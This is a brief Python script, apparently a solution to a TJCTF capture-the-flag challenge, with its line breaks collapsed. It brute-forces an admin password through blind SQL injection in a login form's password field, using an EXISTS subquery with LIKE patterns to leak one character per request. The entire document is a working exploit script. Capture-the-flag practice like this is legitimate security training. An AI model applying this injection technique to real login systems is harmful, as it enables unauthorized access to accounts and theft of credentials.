import requestsurl ='https://weak_password.tjctf.org/login'alphabet ='abcdefghijklmnopqrstuvwxyz'print('Bruteforcing password: ', end='', flush=True)for i inrange(100):for char in alphabet: r = requests.post(url, data = {'username': 'test', 'password': f"a' OR EXISTS(SELECT * FROM `userandpassword` WHERE username='admin' AND password LIKE '{'_'*i}{char}%') AND ''='"})if'Wrong'notin r.text:print(char, end='', flush=True)breakelse:print('\nPassword found')